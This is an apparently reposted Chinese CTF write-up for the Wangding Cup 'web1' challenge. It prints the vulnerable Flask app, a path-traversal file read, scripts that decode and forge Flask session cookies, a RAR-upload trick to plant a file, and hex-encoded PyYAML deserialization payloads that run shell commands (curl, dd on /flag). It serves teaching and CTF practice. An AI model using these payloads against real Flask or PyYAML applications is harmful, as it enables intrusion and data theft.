• 网鼎杯初赛--web1


    web1–yaml的反序列化

    前言

    7月底强网杯出了一道python的pickle反序列化,现在8月底网鼎杯又出了python的yaml反序列化,现在借此机会,自己再总结总结。当然自己在后面的时间里也要不断努力,学到更多的东西。

    题目

    基础看看这个:https://xz.aliyun.com/t/7923#toc-0

    poc集合:https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/#%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF

    考点:就是python的yaml的反序列化

    wp:

    import os
    import re
    import yaml
    import time
    import socket
    import subprocess
    from hashlib import md5
    from flask import Flask, render_template, make_response, send_file, request, redirect, session
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = socket.gethostname()
    
    
    def response(content, status):
        resp = make_response(content, status)
        return resp
    
    
    @app.before_request
    def is_login():
        if request.path == "/upload":
            if session.get('user') != "Administrator":
                return f""
            else:
                return None
    
    
    @app.route('/', methods=['GET'])
    def main():
        if not session.get('user'):
            session['user'] = 'Guest'
        try:
            return render_template('index.html')
        except:
            return response("Not Found.", 404)
        finally:
            try:
                updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
                if not session.get('updir'):
                    session['updir'] = updir
                if not os.path.exists(updir):
                    os.makedirs(updir)
            except:
                return response('Internal Server Error.', 500)
    
    
    @app.route('/', methods=['GET'])
    def download(file):
        if session.get('updir'):
            basedir = session.get('updir')
            try:
                path = os.path.join(basedir, file).replace('../', '')
                if os.path.isfile(path):
                    return send_file(path)
                else:
                    return response("Not Found.", 404)
            except:
                return response("Failed.", 500)
    
    
    @app.route('/upload', methods=['GET', 'POST'])
    def upload():
        if request.method == 'GET':
            return redirect('/')
    
        if request.method == 'POST':
            uploadFile = request.files['file']
            filename = request.files['file'].filename
    
            if re.search(r"\.\.|/", filename, re.M | re.I) != None:
                return ""
    
            filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
            if os.path.exists(filepath):
                return f""
            else:
                uploadFile.save(filepath)
    
            extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
            if not os.path.exists(extractdir):
                os.makedirs(extractdir)
    
            pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
            t_beginning = time.time()
            seconds_passed = 0
            timeout = 60
            while True:
                if pStatus.poll() is not None:
                    break
                seconds_passed = time.time() - t_beginning
                if timeout and seconds_passed > timeout:
                    pStatus.terminate()
                    raise TimeoutError(cmd, timeout)
                time.sleep(0.1)
    
            rarDatas = {'filename': filename, 'dirs': [], 'files': []}
    
            for dirpath, dirnames, filenames in os.walk(extractdir):
                relative_dirpath = dirpath.split(extractdir)[-1]
                rarDatas['dirs'].append(relative_dirpath)
                for file in filenames:
                    rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
            # 将python对象转换为yaml对象
            with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
                f.write(yaml.dump(rarDatas))
    
            return redirect(f'/display?file={filename}')
    
    
    @app.route('/display', methods=['GET'])
    def display():
        filename = request.args.get('file')
        if not filename:
            return response("Not Found.", 404)
    
        if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
            with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
                yamlDatas = f.read()
                if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M | re.I):
                    rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                    if rarDatas:
                        return render_template('result.html', filename=filename, path=filename.split('.')[0],
                                               files=rarDatas['files'])
                    else:
                        return response('Internal Server Error.', 500)
                else:
                    return response('Forbidden.', 403)
        else:
            return response("Not Found.", 404)
    
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8888)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133

    首先第一步就是需要一个flasksession伪造,常规考点,需要获取secret_key,这个位置开始没有想法,最后发现这个路由下,只是对路径进行了替换,但是并没有过滤,所以就可以双写绕过

    @app.route('/', methods=['GET'])
    def download(file):
        if session.get('updir'):
            basedir = session.get('updir')
            try:
                path = os.path.join(basedir, file).replace('../', '')
                if os.path.isfile(path):
                    return send_file(path)
                else:
                    return response("Not Found.", 404)
            except:
                return response("Failed.", 500)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    ....//进行目录穿越,进行任意文件读取,看到secret_key需要远程环境的gethostname,这个太坑了,我读取/etc/hostname读取下来发现根本伪造不了,secret_key是错误的,最后才发现是读取/etc/hosts里面的,结果是engine-1

    在这里插入图片描述
    拿到secret_key,直接利用脚本进行flask的session伪造

    解密脚本:

    #!/usr/bin/env python3
    import sys
    import zlib
    from base64 import b64decode
    from flask.sessions import session_json_serializer
    from itsdangerous import base64_decode
    
    def decryption(payload):
        payload, sig = payload.rsplit(b'.', 1)
        payload, timestamp = payload.rsplit(b'.', 1)
    
        decompress = False
        if payload.startswith(b'.'):
            payload = payload[1:]
            decompress = True
    
        try:
            payload = base64_decode(payload)
        except Exception as e:
            raise Exception('Could not base64 decode the payload because of '
                             'an exception')
    
        if decompress:
            try:
                payload = zlib.decompress(payload)
            except Exception as e:
                raise Exception('Could not zlib decompress the payload before '
                                 'decoding the payload')
    
        return session_json_serializer.loads(payload)
    
    if __name__ == '__main__':
        print(decryption(b"eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.YwhSAg.BU69JzlzLcf9lZ4nXbgJu50cUDE"))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    看到了session的格式,直接利用加密脚本进行伪造,我只取了核心部分

    当然Github上的比较完整:https://github.com/noraj/flask-session-cookie-manager

    import requests
    import ast
    from flask.sessions import SecureCookieSessionInterface
    
    secret_key = 'engine-1'
    
    
    class MockApp(object):
    
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    def session_cookie_encode(secret_key, session_cookie_structure):
        try:
            app = MockApp(secret_key)
            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)
            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error]{}".format(e)
    
    
    if __name__ == "__main__":
        payload = '''{"updir":"static/uploads/4b3cf1ffc9224f4d830c5a29db854d15","user":"Administrator"}'''
        res = session_cookie_encode(secret_key,payload)
        print(res)
        #url = 'http://eci-2ze74l0esvdjrc6llom3.cloudeci1.ichunqiu.com:8888/'
        #requests.get(url=url)
        #files = {'file': open('2.txt', 'rb')}
        #r = requests.post(url=url + '/upload', files=files,cookies={'session': res})
        #print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    伪造成功,就可以直接进入upload路由,开始看后面的python代码逻辑

    第一遍读完,我们的利用点就是后面那个yaml反序列化打RCE

    先看upload路由

    # 上传的一个目录下:
    filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
    
    # unrar解压下的一个目录,在该目录下会生成解压后的yaml文件
    extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
    
    # 打开一个yaml文件,然后直接写入我们不需要的一个yaml数据,而且是写入到fileinfo目录下
    rarDatas = {'filename': filename, 'dirs': [], 'files': []}
    with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
        f.write(yaml.dump(rarDatas))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    display路由中

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
    
    • 1

    我们只要存在这样一个yaml文件,才能进行反序列化,但是上面upload路由下,rarDatas会写入需要的yaml。

    相当于就是,我们现在只能反序列化一个rarDatas的python对象生成的一个yaml对象。

    目标就是需要控制yaml文件的目录,同时这个yaml文件不被覆盖。下面是解决方法:

    解决目录问题:我们将文件名前缀写成fileinfo的形式,就可以解压到fileinfo目录下

    extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
    
    • 1

    解决了目录问题,yaml文件会被覆盖,现在解决文件不被覆盖的问题:

    我们先可以上传一个fileinfo.rar文件,这样在fileinfo目录下生成一个压缩包里的yaml文件,我们需要进入display路由的关键函数,所以在压缩包里放入一个yaml文件,文件名是fileinfo.rar的md5字符b07407f978cba7abbd036e545015c132.yaml

    但是这样会在yaml.dump时被覆盖掉

    所以进行第二次上传,我们将文件名改为fileinfo.rara,这样又可以覆盖掉fileinfob07407f978cba7abbd036e545015c132.yaml文件,然后因为md5(filename.encode()).hexdigest(),dump时也不会被覆盖。

    最后就是我们直接访问/display?file=fileinfo.rar路由,就可以直接进入关键函数,当然也是load我们的恶意yaml文件

    现在就是构造一个yaml反序列化

    这篇文章的poc都被过滤了:https://xz.aliyun.com/t/7923#toc-5

    找到了这个:https://gist.github.com/adamczi/23a3b6d4bb7b2be35e79b0667d6682e1

    # The `extend` function is overriden to run `yaml.unsafe_load` with 
    # custom `listitems` argument, in this case a simple curl request
    
    - !!python/object/new:yaml.MappingNode
      listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
      state:
        tag: !!str dummy
        value: !!str dummy
        extend: !!python/name:yaml.unsafe_load
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这篇也有另一种payload:https://hackmd.io/@harrier/uiuctf20#uiuctf-2020

    subprocess.Popen被过滤了,apply换成new,我们可以用eval或者exec

    然后绕过正则表达式,我们更改_\x5f.绕过\x2e正则这种

    所以构造payload:

    因为RCE发现需要提权,find一下有高权限dd命令,利用dd命令读flag

    byte_var = b"__import__('os').system('dd if=/flag of=/tmp/flag.txt > /tmp/c.txt')"
    for i in byte_var:
        i = hex(i)
        i = i.replace("0", "\\",1)
        print(i,end="")
    
    • 1
    • 2
    • 3
    • 4
    • 5

    然后放入yaml文件

    dirs:['']
    filename:z3eyond
    files:
    - !!python/object/new:yaml.MappingNode
      listitems: !!str "!!python/object/new:eval  [\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x64\x64\x20\x69\x66\x3d\x
    2f\x66\x6c\x61\x67\x20\x6f\x66\x3d\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x63\x2e
    \x74\x78\x74\x27\x29]"
      state:
        tag: !!str dummy
        value: !!str dummy
        extend: !!python/name:yaml.unsafe_lo
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    最后传上去访问/display?file=fileinfo.rar

    然后目录穿越读tmp下的flag文件

  • 相关阅读:
    卷积神经网络(入门)
    云计算未来展望:边缘计算、量子计算与AI
    java垃圾回收基础
    [架构设计] 设计原则
    人工智能时代:深入了解与学以致用的智能科技
    51单片机的简易篮球计分器倒计时仿真设计( proteus仿真+程序+原理图+报告+讲解视频)
    深度学习模型部署与优化:策略与实践;L40S与A100、H100的对比分析
    java计算机毕业设计网上图书分享系统源码+系统+mysql数据库+lw文档+部署
    VScode代码片段自动转图标
    Vue怎么通过JSX动态渲染组件
  • 原文地址:https://blog.csdn.net/unexpectedthing/article/details/126591662